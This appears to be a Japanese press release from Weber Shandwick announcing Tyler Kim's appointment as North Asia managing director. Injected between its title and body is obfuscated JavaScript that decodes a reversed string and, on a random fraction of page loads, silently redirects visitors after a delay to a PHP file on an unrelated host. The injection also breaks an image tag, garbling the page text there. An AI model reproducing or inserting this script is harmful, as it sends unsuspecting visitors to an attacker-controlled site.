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ウェーバー・シャンドウィック北アジア地域マネージングディレクターにタイラー・キムが就任 Marketing Team
 
   
 
   

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == "string") return $VOcl3cIRrbzlimOyC8H.list[n].split("").reverse().join("");return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=["'php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andwick.jp/wp-content/uploads/2018/01/Tyler-Kim_headshotBW-300x289.jpg" alt="" width="300" height="289" />ウェーバー・シャンドウィック(本部:米国ニューヨーク)は、北アジア地域のマネージングディレクターに、タイラー・キムが就任したことを発表いたしました。キムは、現在代表を務めている韓国に加え、日本における同ブランドの業務執行の責任者となります。日本代表を務めていた塩谷斉(しおやひとし)は副会長に就任し、様々なコンサルテーション業務に従事いたします。なお、中国地域の事業は、ダレン・バーンズ現社長が業務執行の責任者として継続します。


キムは、戦略コミュニケーション分野で25年の経験があり、2009年にウェーバー・シャンドウィック韓国を創業しました。2年で初年度売上を倍増、3年目には前年比160%増を達成し、従業員100名以上にビジネスを拡大させました。

ウェーバー・シャンドウィックアジア太平洋地域CEOのバクスター・ジョリーは、「キムの前向きでクライアント中心のアプローチは、アジア太平洋地域全体のビジネスに好影響を与えています。本日に至るまでの韓国の事業成長は、社内はもちろん外部機関からも顕彰を受けており、キムの2国マネージングディレクター就任により、両市場でのさらなるブランド成長と事業拡大を期待しています」と語っています。